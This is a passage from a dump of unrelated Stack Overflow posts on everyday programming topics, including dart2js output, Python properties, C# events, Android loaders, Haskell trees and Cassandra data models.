reflectionInfo, name, H, null) } function tearOffGetterCsp(funcs, reflectionInfo, name, isIntercepted) { var cache = null; return isIntercepted ? function(x) { if (cache === null) cache = H.closureFromTearOff(this, funcs, reflectionInfo, false, [x], name); return new cache(this, funcs[0], x, name) } : function() { if (cache === null) cache = H.closureFromTearOff(this, funcs, reflectionInfo, false, [], name); return new cache(this, funcs[0], null, name) } } function tearOff(funcs, reflectionInfo, isStatic, name, isIntercepted) { var cache; return isStatic ? function() { if (cache === void 0) cache = H.closureFromTearOff(this, funcs, reflectionInfo, true, [], name).prototype; return cache; } : tearOffGetter(funcs, reflectionInfo, name, isIntercepted); } var functionCounter = 0; var tearOffGetter = (typeof dart_precompiled == "function") ? tearOffGetterCsp : tearOffGetterNoCsp; if (!init.libraries) init.libraries = []; if (!init.mangledNames) init.mangledNames = map(); if (!init.mangledGlobalNames) init.mangledGlobalNames = map(); if (!init.statics) init.statics = map(); if (!init.typeInformation) init.typeInformation = map(); if (!init.globalFunctions) init.globalFunctions = map(); if (!init.interceptedNames) init.interceptedNames = map(); var libraries = init.libraries; var mangledNames = init.mangledNames; var mangledGlobalNames = init.mangledGlobalNames; var hasOwnProperty = Object.prototype.hasOwnProperty; var length = reflectionData.length; for (var i = 0; i &lt; length; i++) { var data = reflectionData[i]; var name = data[0]; var uri = data[1]; var metadata = data[2]; var globalObject = data[3]; var descriptor = data[4]; var isRoot = !!data[5]; var fields = descriptor &amp;&amp; descriptor["^"]; var classes = []; var functions = []; processStatics(descriptor); libraries.push([name, uri, classes, functions, metadata, fields, isRoot, globalObject]); } }) ([ ["Repo", "repo.dart", , F, { "^": "", main: function() { return C.Type_Jeh; } }, 1], ["_js_helper", "dart:_js_helper", , H, { "^": "", createRuntimeType: function($name) { return new H.TypeImpl($name, null); }, TypeImpl: { "^": "Object;_typeName,_unmangledName" } }], ["dart.core", "dart:core", , P, { "^": "", Null: { "^": "Object;" }, Object: { "^": ";" } }], ]); Isolate.$finishClasses($$, $, null); $$ = null; // Runtime type support // getInterceptor methods C.Type_Jeh = H.createRuntimeType('Repo'); $.libraries_to_load = {}; $.Closure_functionCounter = 0; $.BoundClosure_selfFieldNameCache = null; $.BoundClosure_receiverFieldNameCache = null; init.functionAliases = {}; ; init.metadata = []; $ = null; Isolate = Isolate.$finishIsolateConstructor(Isolate); $ = new Isolate(); function convertToFastObject(properties) { function MyClass() {}; MyClass.prototype = properties; new MyClass(); return properties; } A = convertToFastObject(A); B = convertToFastObject(B); C = convertToFastObject(C); D = convertToFastObject(D); E = convertToFastObject(E); F = convertToFastObject(F); G = convertToFastObject(G); H = convertToFastObject(H); J = convertToFastObject(J); K = convertToFastObject(K); L = convertToFastObject(L); M = convertToFastObject(M); N = convertToFastObject(N); O = convertToFastObject(O); P = convertToFastObject(P); Q = convertToFastObject(Q); R = convertToFastObject(R); S = convertToFastObject(S); T = convertToFastObject(T); U = convertToFastObject(U); V = convertToFastObject(V); W = convertToFastObject(W); X = convertToFastObject(X); Y = convertToFastObject(Y); Z = convertToFastObject(Z); // BEGIN invoke [main]. ;(function (callback) { if (typeof document === "undefined") { callback(null); return; } if (document.currentScript) { callback(document.currentScript); return; } var scripts = document.scripts; function onLoad(event) { for (var i = 0; i &lt; scripts.length; ++i) { scripts[i].removeEventListener("load", onLoad, false); } callback(event.target); } for (var i = 0; i &lt; scripts.length; ++i) { scripts[i].addEventListener("load", onLoad, false); } })(function(currentScript) { init.currentScript = currentScript; if (typeof dartMainRunner === "function") { dartMainRunner(F.main, []); } else { F.main([]); } }); // END invoke [main]. function init() { Isolate.$isolateProperties = {}; function generateAccessor(fieldDescriptor, accessors, cls) { var fieldInformation = fieldDescriptor.split("-"); var field = fieldInformation[0]; var len = field.length; var code = field.charCodeAt(len - 1); var reflectable; if (fieldInformation.length &gt; 1) reflectable = true; else reflectable = false; code = code &gt;= 60 &amp;&amp; code &lt;= 64 ? code - 59 : code &gt;= 123 &amp;&amp; code &lt;= 126 ? code - 117 : code &gt;= 37 &amp;&amp; code &lt;= 43 ? code - 27 : 0; if (code) { var getterCode = code &amp; 3; var setterCode = code &gt;&gt; 2; var accessorName = field = field.substring(0, len - 1); var divider = field.indexOf(":"); if (divider &gt; 0) { accessorName = field.substring(0, divider); field = field.substring(divider + 1); } if (getterCode) { var args = getterCode &amp; 2 ? "receiver" : ""; var receiver = getterCode &amp; 1 ? "this" : "receiver"; var body = "return " + receiver + "." + field; var property = cls + ".prototype.get$" + accessorName + "="; var fn = "function(" + args + "){" + body + "}"; if (reflectable) accessors.push(property + "$reflectable(" + fn + ");\n"); else accessors.push(property + fn + ";\n"); } if (setterCode) { var args = setterCode &amp; 2 ? "receiver, value" : "value"; var receiver = setterCode &amp; 1 ? "this" : "receiver"; var body = receiver + "." + field + " = value"; var property = cls + ".prototype.set$" + accessorName + "="; var fn = "function(" + args + "){" + body + "}"; if (reflectable) accessors.push(property + "$reflectable(" + fn + ");\n"); else accessors.push(property + fn + ";\n"); } } return field; } Isolate.$isolateProperties.$generateAccessor = generateAccessor; function defineClass(name, cls, fields) { var accessors = []; var str = "function " + cls + "("; var body = ""; for (var i = 0; i &lt; fields.length; i++) { if (i != 0) str += ", "; var field = generateAccessor(fields[i], accessors, cls); var parameter = "parameter_" + field; str += parameter; body += "this." + field + " = " + parameter + ";\n"; } str += ") {\n" + body + "}\n"; str += cls + ".builtin$cls=\"" + name + "\";\n"; str += "$desc=$collectedClasses." + cls + ";\n"; str += "if($desc instanceof Array) $desc = $desc[1];\n"; str += cls + ".prototype = $desc;\n"; if (typeof defineClass.name != "string") { str += cls + ".name=\"" + cls + "\";\n"; } str += accessors.join(""); return str; } var inheritFrom = function() { function tmp() { } var hasOwnProperty = Object.prototype.hasOwnProperty; return function(constructor, superConstructor) { tmp.prototype = superConstructor.prototype; var object = new tmp(); var properties = constructor.prototype; for (var member in properties) if (hasOwnProperty.call(properties, member)) object[member] = properties[member]; object.constructor = constructor; constructor.prototype = object; return object; }; }(); Isolate.$finishClasses = function(collectedClasses, isolateProperties, existingIsolateProperties) { var pendingClasses = {}; if (!init.allClasses) init.allClasses = {}; var allClasses = init.allClasses; var hasOwnProperty = Object.prototype.hasOwnProperty; if (typeof dart_precompiled == "function") { var constructors = dart_precompiled(collectedClasses); } else { var combinedConstructorFunction = "function $reflectable(fn){fn.$reflectable=1;return fn};\n" + "var $desc;\n"; var constructorsList = []; } for (var cls in collectedClasses) { if (hasOwnProperty.call(collectedClasses, cls)) { var desc = collectedClasses[cls]; if (desc instanceof Array) desc = desc[1]; var classData = desc["^"], supr, name = cls, fields = classData; if (typeof classData == "string") { var split = classData.split("/"); if (split.length == 2) { name = split[0]; fields = split[1]; } } var s = fields.split(";"); fields = s[1] == "" ? [] : s[1].split(","); supr = s[0]; split = supr.split(":"); if (split.length == 2) { supr = split[0]; var functionSignature = split[1]; if (functionSignature) desc.$signature = function(s) { return function() { return init.metadata[s]; }; }(functionSignature); } if (typeof dart_precompiled != "function") { combinedConstructorFunction += defineClass(name, cls, fields); constructorsList.push(cls); } if (supr) pendingClasses[cls] = supr; } } if (typeof dart_precompiled != "function") { combinedConstructorFunction += "return [\n " + constructorsList.join(",\n ") + "\n]"; var constructors = new Function("$collectedClasses", combinedConstructorFunction)(collectedClasses); combinedConstructorFunction = null; } for (var i = 0; i &lt; constructors.length; i++) { var constructor = constructors[i]; var cls = constructor.name; var desc = collectedClasses[cls]; var globalObject = isolateProperties; if (desc instanceof Array) { globalObject = desc[0] || isolateProperties; desc = desc[1]; } allClasses[cls] = constructor; globalObject[cls] = constructor; } constructors = null; var finishedClasses = {}; init.interceptorsByTag = Object.create(null); init.leafTags = {}; function finishClass(cls) { var hasOwnProperty = Object.prototype.hasOwnProperty; if (hasOwnProperty.call(finishedClasses, cls)) return; finishedClasses[cls] = true; var superclass = pendingClasses[cls]; if (!superclass || typeof superclass != "string") return; finishClass(superclass); var constructor = allClasses[cls]; var superConstructor = allClasses[superclass]; if (!superConstructor) superConstructor = existingIsolateProperties[superclass]; var prototype = inheritFrom(constructor, superConstructor); } for (var cls in pendingClasses) finishClass(cls); }; Isolate.$lazy = function(prototype, staticName, fieldName, getterName, lazyValue) { var sentinelUndefined = {}; var sentinelInProgress = {}; prototype[fieldName] = sentinelUndefined; prototype[getterName] = function() { var result = $[fieldName]; try { if (result === sentinelUndefined) { $[fieldName] = sentinelInProgress; try { result = $[fieldName] = lazyValue(); } finally { if (result === sentinelUndefined) { if ($[fieldName] === sentinelInProgress) { $[fieldName] = null; } } } } else { if (result === sentinelInProgress) H.throwCyclicInit(staticName); } return result; } finally { $[getterName] = function() { return this[fieldName]; }; } }; }; Isolate.$finishIsolateConstructor = function(oldIsolate) { var isolateProperties = oldIsolate.$isolateProperties; function Isolate() { var hasOwnProperty = Object.prototype.hasOwnProperty; for (var staticName in isolateProperties) if (hasOwnProperty.call(isolateProperties, staticName)) this[staticName] = isolateProperties[staticName]; function ForceEfficientMap() { } ForceEfficientMap.prototype = this; new ForceEfficientMap(); } Isolate.prototype = oldIsolate.prototype; Isolate.prototype.constructor = Isolate; Isolate.$isolateProperties = isolateProperties; Isolate.$finishClasses = oldIsolate.$finishClasses; return Isolate; }; } })() //# sourceMappingURL=out.js.map //@ sourceMappingURL=out.js.map </code></pre> <p>And that's it, I've thrown away Dart because I didn't knew what to do with generated JS file, also I was frightened of potentially high amount of time required for keeping the resulting library interface clean and similar to one I'm using with JavaScript.</p> <h1>The question(s)</h1> <ol> <li>How do I expose class definitions created in Dart and later use them in JavaScript?</li> <li>Do you think it's worth it going into Dart when nearly all potential library users will be using JS version instead? (Using dart is already not good for me due to difference in community sizes, this means that less people will find it easy to contribute to my library)</li> <li>In your opinion, what should I do?</li> </ol>
18147465	0	 <p>This would be a comment but I don't have the necessary reputation.</p> <p>See this <a href="https://github.com/mbostock/d3/issues/1410" rel="nofollow">d3 issue on github</a>. Is this what you're looking for?</p> <p>It's in the 3.3 milestone and the current version is 3.2.8. So, hopefully it won't be too much longer.</p>
15329446	0	 <p>The global <code>cansend()</code> function is generic and can be called from anywhere so I'd probably leave this function as-is unless every invocation of <code>cansend()</code> is from a node class.</p> <p>You could add a <code>cansend()</code> method to your class which uses the stored instance variables as input, rather than having them set as parameters. Furthermore, if you're interested in using properties you could have the <code>operatingMode</code> configured as a property as you suggested.</p> <p>Here's an example refactor:</p> <pre><code>def cansend(nodeID,busID,value): '''sends a CAN frame with a particular value to a specific node''' class node(object): def __init__(self,nodeID,busID,operatingMode): self.nodeID = nodeID self.busID = busID self._operatingMode = operatingMode self.send_can_mode() def send_can_mode(self): """Send current operating mode to node on CAN bus.""" cansend(self.nodeID, self.busID, self._operatingMode) @property def operatingMode(self): """Return current operating mode.""" return self._operatingMode @operatingMode.setter def operatingMode(self, value): """Modify operating mode. Update remote node if mode changes.""" if value == self._operatingMode: return self._operatingMode = value self.send_can_mode() </code></pre> <p>When you want to change modes, you can do <code>node.operatingMode = newMode</code> and if the mode has changed from the previous state, the new mode will be automatically sent.</p> <p>The global <code>cansend()</code> is only called from the <code>send_can_mode()</code> method so you could integrate the global <code>cansend()</code> into your class if desired.</p>
2759655	0	 <p>You could use a wrapper class:</p> <pre><code>Class ABWrapper { private AB m_AB; ABWrapper( AB ab ) { m_AB = new AB(); } public void execute() { // Do your stuff, then call original method m_AB.execute(); } } </code></pre> <p>This is a good approach when <code>AB</code> implements an <em>interface</em> (you did not mention that, though). In this case <code>ABWrapper</code> should implement the same interface. When you use a <em>factory</em> or even <em>dependency injection</em> to create your <code>AB</code> instances you can replace them there easily with your wrapper.</p>
9795194	0	 <p><a href="http://msdn.microsoft.com/en-us/library/system.windows.forms.contextmenustrip.aspx" rel="nofollow">MSDN</a> has information on how to add items to a <code>contextmenustrip</code></p> <p>Sample Code:</p> <pre><code>// Declare the ContextMenuStrip control. private ContextMenuStrip fruitContextMenuStrip; public Form3() { // Create a new ContextMenuStrip control. fruitContextMenuStrip = new ContextMenuStrip(); // Attach an event handler for the // ContextMenuStrip control's Opening event. fruitContextMenuStrip.Opening += new System.ComponentModel.CancelEventHandler(cms_Opening); // Create a new ToolStrip control. ToolStrip ts = new ToolStrip(); // Create a ToolStripDropDownButton control and add it // to the ToolStrip control's Items collections. ToolStripDropDownButton fruitToolStripDropDownButton = new ToolStripDropDownButton("Fruit", null, null, "Fruit"); ts.Items.Add(fruitToolStripDropDownButton); // Dock the ToolStrip control to the top of the form. ts.Dock = DockStyle.Top; // Assign the ContextMenuStrip control as the // ToolStripDropDownButton control's DropDown menu. fruitToolStripDropDownButton.DropDown = fruitContextMenuStrip; // Create a new MenuStrip control and add a ToolStripMenuItem. MenuStrip ms = new MenuStrip(); ToolStripMenuItem fruitToolStripMenuItem = new ToolStripMenuItem("Fruit", null, null, "Fruit"); ms.Items.Add(fruitToolStripMenuItem); // Dock the MenuStrip control to the top of the form. ms.Dock = DockStyle.Top; // Assign the MenuStrip control as the // ToolStripMenuItem's DropDown menu. fruitToolStripMenuItem.DropDown = fruitContextMenuStrip; // Assign the ContextMenuStrip to the form's // ContextMenuStrip property. this.ContextMenuStrip = fruitContextMenuStrip; // Add the ToolStrip control to the Controls collection. this.Controls.Add(ts); //Add a button to the form and assign its ContextMenuStrip. Button b = new Button(); b.Location = new System.Drawing.Point(60, 60); this.Controls.Add(b); b.ContextMenuStrip = fruitContextMenuStrip; // Add the MenuStrip control last. // This is important for correct placement in the z-order. this.Controls.Add(ms); } </code></pre> <p>Or another link to <a href="http://www.c-sharpcorner.com/UploadFile/mahesh/context-menu-in-C-Sharp/" rel="nofollow">ContextMenuStrip in C#</a></p>
14683370	0	 <p>No, it is not possible. <a href="http://blogs.msdn.com/b/ericlippert/archive/2009/04/27/the-stack-is-an-implementation-detail.aspx" rel="nofollow">The Stack Is An Implementation Detail</a>. Moreover, the ability to manipulate the stack will bring a LOT of security/consistency issues. This is why manipulating the stack is a bad practice/a security bug even when you can do it (in C, for example). For example,the infamous "buffer overflow" category of security issues spring exactly from this: the ability to insert a "goto", a new stack frame, into the code, so that upon return a malicious payload is executed instead of the legitimate calling function.</p> <p>But then, why would you like to do it? Given a real goal, we could better reason how to do that, and suggest good alternatives</p>
463439	0	 <p>The standard pattern for implementing events is to use a virtual "OnXxx" method, like this:</p> <pre><code>public event EventHandler OkClick; protected virtual void OnOkClick(EventArgs e) { if (OkClick != null) OkClick(this, e); } </code></pre> <p>Now any time your base control wants to fire the "OkClick" event, it simply calls:</p> <pre><code>OnOkClick(EventArgs.Empty); </code></pre> <p>This means that descendants of your base control can override OnOkClick like this:</p> <pre><code>protected override void OnOkClick(EventArgs e) { // do some stuff before the event is fired base.OnOkClick(e); // do some stuff after the event is fired } </code></pre> <p>Note that the framework design guidelines actually state that you should implement the "OnXxx" method in such a way that the event is fired even if the descendant classes forget to call the base method. I don't really know a good way to do that, and I'm sure most people ignore this guideline.</p>
2377631	0	 <p>Is "element" the id of your element? If so try making it <code>element = $("element")</code></p>
31237262	0	 <p>on namespace Corpus.$cmd failed: ns doesn't exist</p> <p>It means you don't have collection named 'tweets' or 'via_count' in Corpus.</p> <p>Not like a raw query in mongodb, map_reduce function doesn't make a new collection if it's not exist.</p>
29009915	0	How to fetch page title name if document.title is not present <p>I want to fetch page title name but document.title is not present. Instead of document.title the logic is written below:-</p> <pre><code>&lt;title ng-bind="page.title()" class="ng-binding"&gt;&lt;/title&gt; </code></pre> <p>I want to use javascript to get page title. </p>
29937278	0	Design patterns: exposing notifications using a protocol <p>I have got several types of a logic controller class that handle the communication with a remote resource. To do so each class uses an instance of a network controller class that deals with the connection details: connects to a resource, sends data, receives data. The logic controller classes are notified of data changes from the network controller class using notifications. So in my current solution <strong>each logic controller class registers for the notifications and implements specific functions to deal with them differently</strong>.</p> <p>However, if I want to do proper code engineering, I wonder whether it would be <strong>more robust</strong> to use <strong>protocols</strong> and <strong>delegation</strong>.</p> <p>I wonder if I could define which methods the logical controller classes need to implement in order to receive the notification. However I am not sure if this makes sense and is correct because <strong>I do not want inheritance here</strong>. </p> <p>Any suggestion?</p>
36108966	0	 <p>You need to put things together differently to accomplish your goal. You can't just replace <code>++</code> with <code>:</code>. Try this:</p> <pre><code>toList t = toListPlus t [] toListPlus :: Tree a -&gt; [a] -&gt; [a] </code></pre> <p><code>toListPlus t xs</code> should produce <code>toList t ++ xs</code>, but implemented with recursive calls to <code>toListPlus</code>, not using <code>++</code> or <code>toList</code>. Let's work through it. The base case is easy:</p> <pre><code>toListPlus Empty xs = xs </code></pre> <p>The recursive case isn't too bad either. We want to convert the left subtree to a list, sticking other stuff on after:</p> <pre><code>toListPlus (Node v l r) xs = toListPlus l ??? </code></pre> <p>What comes after? The root, and then the result of converting the right subtree, and then whatever gets tacked on:</p> <pre><code>toListPlus (Node v l r) xs = toListPlus l (v : toListPlus r xs) </code></pre> <p>This function uses an implicit stack to keep track of the remaining work. This is probably the most efficient way to do it. If you wanted, you could use a zipper-style representation to make the stack explicit.</p> <hr> <p>How does this solution relate to the one leftaroundabout described? Well, they're actually the same. We can see that by shifting the list argument over:</p> <pre><code>toListPlus Empty = \xs -&gt; xs toListPlus (Node v l r) = \xs -&gt; toListPlus l (v : toListPlus r xs) = toListPlus l . (v :) . toListPlus r </code></pre>
12620845	0	 <p>The issue was that we were not putting www. infront of the URL. The older version of Django CMS didn't like it.</p>
13937783	0	 <p>Derp. This works. </p> <pre><code>$address-&gt;setData('firstname', $this-&gt;getRequest()-&gt;getPost('billing_firstname')); $address-&gt;setData('lastname', $this-&gt;getRequest()-&gt;getPost('billing_lastname')); $address-&gt;setData('fax', $this-&gt;getRequest()-&gt;getPost('billing_fax')); </code></pre> <p>Anyone else needing this? </p> <p>Add form fields into <code>your/theme/template/persistent/forms/register.phtml</code><br> override <code>Mage_Customer_AccountController</code><br> <code>setData('key', 'value')</code> in <code>yourmodule/customer/controller/accountController.php :: createPostAction()</code> </p>
33523366	0	 <pre><code> @Override public void onClick(View v) { Intent intent=SecondActivity.newIntent(FirstActivity.this, targetActivity.class); startActivity(intent); } </code></pre>
13258472	0	Find Record based on the associated attributes <p>I am trying to find a record based on two associated attributes. The Record should be selected, if its association contains those two records.</p> <p>So far, I tried following - Which seemed to me a very bad practice and I want to avoid using it.</p> <pre><code>@size = Spree::OptionValue.find(params[:size]) @color = Spree::OptionValue.find(params[:color]) vari = Spree::Variant.all vari.each do |va| if va.option_values.include?(@size &amp;&amp; @color) @variant = va end end </code></pre> <p>So far, I also tried </p> <pre><code>@variant = Spree::Variant.all(:include =&gt; :option_values, :conditions =&gt; ['option_value.id = ?', params[:color]) </code></pre> <p>This seems to be the way to go, but I can't seem to figure out the right way to get the result. The return error I keep on getting is following:</p> <blockquote> <p>ActiveRecord::StatementInvalid: PG::Error: ERROR: missing FROM-clause entry for table "option_values" LINE 1: ..._option_values_variants"."option_value_id" WHERE (option_val...</p> </blockquote> <p>EDIT:</p> <p>I got it working due to the great help given in the accepted answer:</p> <pre><code>Spree::Variant.joins(:option_values).where("spree_option_values.id in (?)", [size, color]) </code></pre>
12900581	0	 <p>If I understand your question rightly, it's fairly straightforward.</p> <p>First, 'flatten' the list using a generator expression: <code>(item for sublist in combs for item in sublist)</code>.</p> <p>Then, iterate over the flattened list. For each item, you either add an entry to the dict (if it doesn't already exist), or add one to the value.</p> <pre><code>d = {} for key in (item for sublist in combs for item in sublist): try: d[key] += 1 except KeyError: # I'm not certain that KeyError is the right one, you might get TypeError. You should check this d[key] = 1 </code></pre> <p>This technique assumes all the elements of the sublists are hashable and can be used as keys.</p>
8473056	0	How do I plot a circle with points inside it in R? <p>I need to plot a circle centered at <code>(0,0)</code> in R. Then I would like to plot points in that circle specified in radius and degrees. Could anyone point me in the right direction for this task?</p>
28474434	0	 <p>Your code only keeps the first encountered value for a given key. You can use <code>defaultdict</code> from the <code>collections</code> module to initialize <code>result</code> with a fresh <code>dict</code> and then set the key to the value as encountered in your list of tuples.</p> <pre><code>#all_tuples = [(...), (...), ...] from collections import defaultdict result = defaultdict(dict) for uid, k, v in all_tuples : result[uid][k] = v dict(result) </code></pre> <p>Output:</p> <pre><code>{1: {1: 2, 3344: 1, 756735: 1}, 4: {23: 1}, 23: {4: 1, 534: 1, 899979879: 1}, 534: {23: 1}, 3344: {1: 1}, 9977: {980898: 1}, 756735: {1: 1, 980898: 1}, 980898: {9977: 1, 756735: 1, 98789797: 1}, 98789797: {980898: 1}, 899979879: {23: 1}} </code></pre>
30083732	0	 <p><a href="http://flask.pocoo.org/snippets/117/" rel="nofollow">This snippet</a> can be modified to present the data that you want. -- <a href="http://stackoverflow.com/users/3478217/esdes">Esdes</a></p>
9142514	0	Is it possible to create a storage provider for user data on a Windows Phone device? <p>The <a href="http://msdn.microsoft.com/en-us/library/microsoft.phone.userdata.storagekind%28v=vs.92%29.aspx" rel="nofollow"><code>Microsoft.Phone.UserData.StorageKind</code> enumeration</a> <em>implies</em> that "other" storage locations can exist for storing use data, such as appointments and contact details. Is it possible to create a provider that can be installed as part of an App (such that the data becomes aggregated in a similar manner to that from Twitter, LinkedIn, Facebook, etc.)?</p>
11845308	0	 <p>To use <code>ActionBarSherlock</code> with <code>MapActivity</code> you have to extend your <code>Activity</code> class from <code>com.actionbarsherlock.app.SherlockMapActivity</code> which you can download from <a href="https://github.com/JakeWharton/ActionBarSherlock-Plugin-Maps" rel="nofollow">ActionBarSherlock-Plugin-Maps</a>.</p> <p>This class is a plugin for ActionBarSherlock to support <code>MapActivity</code> link to mentioned github project you can also find in <a href="http://actionbarsherlock.com/download.html" rel="nofollow">ActionBarSherlock download section</a>.</p>
6169651	0	 <p>There is no problem with what you are doing, no performance degradation. If you had a more complicated program with a large number of threads, you could look for utility classes in <code>java.util.concurrent</code>.</p>
7027669	0	 <p>This should be able to be done in 2007 with a SharePoint Data Source. The SPDataSource control creates a dataset that you can then bind to your list control. </p> <p>Chris O'Brien has a great tutorial regarding SPDataSource and binding to controls. </p> <p><a href="http://www.sharepointnutsandbolts.com/2008/07/spdatasource-every-developer-friend.html" rel="nofollow">http://www.sharepointnutsandbolts.com/2008/07/spdatasource-every-developer-friend.html</a></p>
29006161	0	 <p>I found the answer: </p> <pre><code>{{for bugs}} {{:status}} &lt;/br&gt; {{/for}} </code></pre>
34358789	0	 <p>You can use a CursorLoader for this. It assumes also that you have a ContentProvider as your data source for the application, which I will not discuss here but you can learn about them in <a href="http://www.vogella.com/tutorials/AndroidSQLite/article.html#contentprovider" rel="nofollow">this post</a> if you want.</p> <p>To sync the database data to your ListView, you will have to do two things:</p> <ul> <li>Create a custom Adapter that implements CursorAdapter</li> <li>Implement a LoaderManager in your Fragment</li> </ul> <p>To implement the LoaderManager just override the three required methods. One is used to setup your Cursor, one will feed the results to your Adapter. From then on, assuming your ContentProvider properly notifies any URIs of changes, you will notice those changes in the Adapter. Here is a snippet of the Loader code:</p> <pre><code>public class AccountsFragment extends Fragment implements LoaderManager.LoaderCallbacks&lt;Cursor&gt;{ private static final int MY_LOADER = 0; @Override public void onActivityCreated() { super.onActivityCreated(); getLoaderManager.initLoader(MY_LOADER, null, this); } @Override public Loader&lt;Cursor&gt; onCreateLoader(int id, Bundle args) { switch(id){ case MY_LOADER: return new CursorLoader( getActivity(), MY_URI, MY_COLUMNS, null, null, null ); default: throw new UnsupportedOperationException("Unknown loader id: " + id); } } @Override public void onLoadFinished(Loader&lt;Cursor&gt; loader, Cursor data) { switch(loader.getId()){ case MY_LOADER: mAdapter.swapCursor(datA); default: throw new UnsupportedOperationException("Unknown loader id: " + loader.getId()); } } @Override public void onLoaderReset(Loader&lt;Cursor&gt; loader) { switch(loader.getId()){ case MY_LOADER: mAdapter.swapCursor(null); break; default: throw new UnsupportedOperationException("Unknown loader id: " + loader.getId()); } } } </code></pre> <p>I learned much of this from a <a href="https://www.udacity.com/course/developing-android-apps--ud853" rel="nofollow">Udacity course</a> that teaches you a lot about Android from the bottom up, and if you are looking for a complete overview I think it is very much worth your time.</p>
19449750	0	 <p>Well I ran into the same problem few months back and the way I fixed this was by presenting mmvc as modal view controller. Please try replacing your else with something like this:</p> <pre><code>[presentingViewController dismissModalViewControllerAnimated:NO]; GKMatchRequest *request = [[[GKMatchRequest alloc] init] autorelease]; request.minPlayers = minPlayers; request.maxPlayers = maxPlayers; request.playersToInvite = pendingPlayersToInvite; GKMatchmakerViewController *mmvc = [[[GKMatchmakerViewController alloc] initWithMatchRequest:request] autorelease]; mmvc.matchmakerDelegate = self; [presentingViewController presentModalViewController:mmvc animated:YES]; self.pendingInvite = nil; self.pendingPlayersToInvite = nil; </code></pre> <p>Also, there seem to be an issue with your authentication. Your method should use new mechanism for player authentication like:</p> <pre><code>- (void)authenticateLocalUser { if (!gameCenterAvailable) return; NSLog(@"Authenticating local user..."); if ([GKLocalPlayer localPlayer].authenticated == NO) { // Use new authentication mechanism if the iOS version is 6.0 or above if ([[UIDevice currentDevice].systemVersion compare:@"6.0" options:NSNumericSearch] != NSOrderedAscending) { [[GKLocalPlayer localPlayer] setAuthenticateHandler:^(UIViewController *vc, NSError *error) { if (error) NSLog(@"Error in authenticating User - %@", [error localizedDescription]); else if (vc) { AppDelegate *appDel = (AppDelegate *)[UIApplication sharedApplication].delegate; [appDel.navigationController presentModalViewController:vc animated:YES]; } }]; } else [[GKLocalPlayer localPlayer] authenticateWithCompletionHandler:nil]; } else { NSLog(@"Already authenticated!"); } } </code></pre>
31813486	0	 <p>You actually need to include a fragment (NOT the Relative Layout) to your layout like so:</p> <pre><code>&lt;fragment android:id="@+id/fragment_container" android:layout_width="match_parent" android:layout_height="match_parent" class="com.google.android.gms.maps.SupportMapFragment" /&gt; </code></pre>
33288914	0	 <p>We could use <code>cSplit</code></p> <pre><code>library(splitstackshape) cSplit(dat, 'to', ',') </code></pre>
14612625	0	How to copy txt file online, put into server ssh or ftp? <p>I'm in the process of installing Django on a GoDaddy server, (i know i know), and i need to copy this script, <a href="https://raw.github.com/pypa/virtualenv/master/virtualenv.py" rel="nofollow">https://raw.github.com/pypa/virtualenv/master/virtualenv.py</a>, into a directory on the server. I have ssh access but I'm not quite sure what the right syntax would be to actually copy the file. I tried <code>cp</code> and <code>scp</code> but apparently I'm not doing it right. I'm on a mac terminal, fwiw. </p>
24009426	0	Source code file paths in Jenkins Violations plugin not working (when using StyleCop) <p>I'm facing an issue with the Jenkins Violations plug-in when trying to access my source code files from the UI. The paths are relative to the root of the volume :S. So, if my .cs file is in <code>C:\CMSRootFolder\MySolution\MyProject\Namespace\SourceCode.cs</code>, then the link in Jenkins is: <code>http://&lt;jenkins_server&gt;/job/&lt;job_name&gt;/violations/file/CMSRootFolder/MySolution/Namespace/SourceCode.cs/</code></p> <p>This happens even after setting the faux project path to "C:\CMSRootFolder\MySolution", and no matter what I try to set in the source code patterns. I think this might be a bug in the plug-in, but I would like to know if there is any workaround.</p> <p>Thanks.</p>
32852407	0	 <p>It should be as simple as adding the name of the view to your return statement:</p> <pre><code>return View(viewName); </code></pre> <p>or with the model:</p> <pre><code>return View(viewName, modelName); </code></pre>
25477450	0	 <p>You need to assign your fields actual objects. If you look at <code>Quiz.theContentManager</code>, you'll notice that you never actually assign it a value. You can fix this by passing the ones in from <code>Game1</code>. For instance, Game1 should look like this:</p> <pre><code>public class Game1 : Microsoft.Xna.Framework.Game { Quiz quiz; protected override void LoadContent() { quiz.LoadContent(Content); } protected override void Update(GameTime gameTime) { quiz.Update(gameTime); } protected override void Draw(GameTime gameTime) { quiz.Draw(spriteBatch, gameTime); } } </code></pre> <p>Then your Quiz class should look like this (note that you don't need class fields for any of the XNA stuff with this approach):</p> <pre><code>public class Quiz { QuizQuestion no1 = new QuizQuestion(); public void LoadContent(ContentManager content) { no1.LoadContent(content); } public void Update(GameTime gameTime) { // Perform whatever updates are required. } public void Draw(SpriteBatch spriteBatch, GameTime gameTime) { // Draw whatever } } </code></pre>
25013093	0	 <p>You should go check the Sprite Kit Docs. <a href="https://developer.apple.com/library/ios/documentation/GraphicsAnimation/Conceptual/SpriteKit_PG/Introduction/Introduction.html" rel="nofollow">https://developer.apple.com/library/ios/documentation/GraphicsAnimation/Conceptual/SpriteKit_PG/Introduction/Introduction.html</a>. It's VERY helpful for beginners. A very good site to a few sprite kit tutorials might be raywenderlich.com.</p> <p>To your question:</p> <p>Go check sprite kits update method.</p>
22127990	0	 <p>You can create a backend and use it as a target for your task. Backends do not have a time limit.</p> <p>Just remember to mark users you already processed. When a task fails (for any reason), it retries itself - you want to skip users you already processed during the previous attempt.</p>
37501763	0	How to pass an Object List in the Body of a Web Api C # <p>I'm a following problem I'm currently developing a web Api, with the database Cassandra, and I have an object that is a SortedDictionary , which is a text and a column object, thereby generating a list with a name and data as the model code below:</p> <p>Class People:</p> <pre><code>public class People{ public Guid UsersId { get; set; } public string Name { get; set; } public string UserName { get; set; } public string UserPassword { get; set; } public int Status { get; set; } public SortedDictionary&lt;string, contacts&gt; Contacts { get; set; } } </code></pre> <p>Class contacts:</p> <pre><code>public class contacts { public string Address { get; set; } public long Number { get; set; } public string District { get; set; } public string Postalcode { get; set; } public string City { get; set; } public string State { get; set; } public string Country { get; set; } public IDictionary&lt;string, string&gt; Phone { get; set; } } </code></pre> <p>The People class represents my column family Cassandra and also to facilitate my table, and contacts represents a UDT (user definided type), and the column which is the value is named list in the database is thus :</p> <pre><code>{ "Home" : { "address" : "Street Giovanna Barros Lobato", "number" : 392, "district" : "District Giovanna Barros Lobato", "postalcode" : null, "city" : "Paragominas", "state" : "Pará", "country" : "Brasil", "phone" : { } }, "Work" : { "address" : "Street Giovanna Barros Lobato", "number" : 392, "district" : "District Giovanna Barros Lobato", "postalcode" : null, "city" : "Paragominas", "state" : "Pará", "country" : "Brazil", "phone" : { } } } 